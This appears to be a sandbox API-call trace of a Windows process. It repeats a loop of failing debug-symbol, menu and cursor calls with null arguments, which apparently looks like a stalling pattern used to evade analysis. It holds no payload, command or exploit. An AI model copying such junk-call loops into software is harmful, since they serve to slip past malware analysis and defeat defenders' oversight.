GetLastError () returned 0x579 [0218.798] SetLastError (dwErrCode=0x579) [0218.798] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.798] SymCleanup (hProcess=0x0) returned 0 [0218.798] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.798] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.798] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.798] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.798] GetLastError () returned 0x579 [0218.798] SetLastError (dwErrCode=0x579) [0218.798] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.798] SymCleanup (hProcess=0x0) returned 0 [0218.798] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.798] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.798] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.799] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.799] GetLastError () returned 0x579 [0218.799] SetLastError (dwErrCode=0x579) [0218.799] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.799] SymCleanup (hProcess=0x0) returned 0 [0218.799] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.799] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.799] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.799] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.799] GetLastError () returned 0x579 [0218.799] SetLastError (dwErrCode=0x579) [0218.799] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.799] SymCleanup (hProcess=0x0) returned 0 [0218.799] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.799] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.799] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.799] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.799] GetLastError () returned 0x579 [0218.799] SetLastError (dwErrCode=0x579) [0218.799] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.799] SymCleanup (hProcess=0x0) returned 0 [0218.799] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.799] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.799] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.800] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=387, param_4=205, param_5=0x0, param_6=0x0) returned 0 [0218.800] GetLastError () returned 0x579 [0218.800] SetLastError (dwErrCode=0x579) [0218.800] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.800] SymCleanup (hProcess=0x0) returned 0 [0218.800] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.800] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.800] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.800] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.800] GetLastError () returned 0x579 [0218.800] SetLastError (dwErrCode=0x579) [0218.800] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.800] SymCleanup (hProcess=0x0) returned 0 [0218.800] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.800] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.800] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.800] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.800] GetLastError () returned 0x579 [0218.800] SetLastError (dwErrCode=0x579) [0218.800] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.800] SymCleanup (hProcess=0x0) returned 0 [0218.800] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.800] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.800] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.801] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.801] GetLastError () returned 0x579 [0218.801] SetLastError (dwErrCode=0x579) [0218.801] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.801] SymCleanup (hProcess=0x0) returned 0 [0218.801] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.801] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.801] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.801] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.801] GetLastError () returned 0x579 [0218.801] SetLastError (dwErrCode=0x579) [0218.801] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.801] SymCleanup (hProcess=0x0) returned 0 [0218.801] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.801] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.801] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.801] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=828, param_4=596, param_5=0x0, param_6=0x0) returned 0 [0218.801] GetLastError () returned 0x579 [0218.801] SetLastError (dwErrCode=0x579) [0218.801] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.801] SymCleanup (hProcess=0x0) returned 0 [0218.801] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.801] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.801] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.802] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.802] GetLastError () returned 0x579 [0218.802] SetLastError (dwErrCode=0x579) [0218.802] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.802] SymCleanup (hProcess=0x0) returned 0 [0218.802] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.802] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.802] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.802] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.802] GetLastError () returned 0x579 [0218.802] SetLastError (dwErrCode=0x579) [0218.802] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.802] SymCleanup (hProcess=0x0) returned 0 [0218.802] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.802] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.802] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.802] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.802] GetLastError () returned 0x579 [0218.802] SetLastError (dwErrCode=0x579) [0218.802] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.802] SymCleanup (hProcess=0x0) returned 0 [0218.802] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.802] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.802] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.803] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.803] GetLastError () returned 0x579 [0218.803] SetLastError (dwErrCode=0x579) [0218.803] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.803] SymCleanup (hProcess=0x0) returned 0 [0218.803] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.803] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.803] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.803] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=415, param_4=174, param_5=0x0, param_6=0x0) returned 0 [0218.803] GetLastError () returned 0x579 [0218.803] SetLastError (dwErrCode=0x579) [0218.803] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.803] SymCleanup (hProcess=0x0) returned 0 [0218.803] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.803] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.803] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.803] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.803] GetLastError () returned 0x579 [0218.803] SetLastError (dwErrCode=0x579) [0218.803] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.803] SymCleanup (hProcess=0x0) returned 0 [0218.803] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.803] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.803] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.804] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.804] GetLastError () returned 0x579 [0218.804] SetLastError (dwErrCode=0x579) [0218.804] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.804] SymCleanup (hProcess=0x0) returned 0 [0218.804] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.804] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.804] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.804] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.804] GetLastError () returned 0x579 [0218.804] SetLastError (dwErrCode=0x579) [0218.804] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.804] SymCleanup (hProcess=0x0) returned 0 [0218.804] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.804] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.804] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.804] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.804] GetLastError () returned 0x579 [0218.804] SetLastError (dwErrCode=0x579) [0218.804] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.804] SymCleanup (hProcess=0x0) returned 0 [0218.804] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.804] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.804] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.805] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=785, param_4=186, param_5=0x0, param_6=0x0) returned 0 [0218.805] GetLastError () returned 0x579 [0218.805] SetLastError (dwErrCode=0x579) [0218.805] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.805] SymCleanup (hProcess=0x0) returned 0 [0218.805] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.805] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.805] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.805] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.805] GetLastError () returned 0x579 [0218.805] SetLastError (dwErrCode=0x579) [0218.805] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.805] SymCleanup (hProcess=0x0) returned 0 [0218.805] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.805] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.805] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.805] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.805] GetLastError () returned 0x579 [0218.805] SetLastError (dwErrCode=0x579) [0218.805] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.805] SymCleanup (hProcess=0x0) returned 0 [0218.805] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.805] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.805] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.806] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.806] GetLastError () returned 0x579 [0218.806] SetLastError (dwErrCode=0x579) [0218.806] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.806] SymCleanup (hProcess=0x0) returned 0 [0218.857] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.857] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.857] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.857] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.857] GetLastError () returned 0x579 [0218.857] SetLastError (dwErrCode=0x579) [0218.857] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.857] SymCleanup (hProcess=0x0) returned 0 [0218.857] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.857] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.857] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.858] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=68, param_4=453, param_5=0x0, param_6=0x0) returned 0 [0218.858] GetLastError () returned 0x579 [0218.858] SetLastError (dwErrCode=0x579) [0218.858] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.858] SymCleanup (hProcess=0x0) returned 0 [0218.858] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.858] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.858] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.858] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.858] GetLastError () returned 0x579 [0218.858] SetLastError (dwErrCode=0x579) [0218.858] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.858] SymCleanup (hProcess=0x0) returned 0 [0218.858] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.858] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.858] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.858] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.858] GetLastError () returned 0x579 [0218.858] SetLastError (dwErrCode=0x579) [0218.858] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.858] SymCleanup (hProcess=0x0) returned 0 [0218.858] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.858] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.858] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.859] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.859] GetLastError () returned 0x579 [0218.859] SetLastError (dwErrCode=0x579) [0218.859] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.859] SymCleanup (hProcess=0x0) returned 0 [0218.859] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.859] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.859] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.859] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.859] GetLastError () returned 0x579 [0218.859] SetLastError (dwErrCode=0x579) [0218.859] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.859] SymCleanup (hProcess=0x0) returned 0 [0218.859] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.859] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.859] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.859] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=875, param_4=793, param_5=0x0, param_6=0x0) returned 0 [0218.859] GetLastError () returned 0x579 [0218.859] SetLastError (dwErrCode=0x579) [0218.859] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.859] SymCleanup (hProcess=0x0) returned 0 [0218.859] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.859] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.859] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.860] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.860] GetLastError () returned 0x579 [0218.860] SetLastError (dwErrCode=0x579) [0218.860] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.860] SymCleanup (hProcess=0x0) returned 0 [0218.860] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.860] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.860] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.860] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.860] GetLastError () returned 0x579 [0218.860] SetLastError (dwErrCode=0x579) [0218.860] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.860] SymCleanup (hProcess=0x0) returned 0 [0218.860] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.860] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.860] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.860] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.860] GetLastError () returned 0x579 [0218.860] SetLastError (dwErrCode=0x579) [0218.860] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.860] SymCleanup (hProcess=0x0) returned 0 [0218.860] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.860] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.861] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.861] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.861] GetLastError () returned 0x579 [0218.861] SetLastError (dwErrCode=0x579) [0218.861] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.861] SymCleanup (hProcess=0x0) returned 0 [0218.861] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.861] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.861] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.861] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=875, param_4=820, param_5=0x0, param_6=0x0) returned 0 [0218.861] GetLastError () returned 0x579 [0218.861] SetLastError (dwErrCode=0x579) [0218.861] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.861] SymCleanup (hProcess=0x0) returned 0 [0218.861] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) 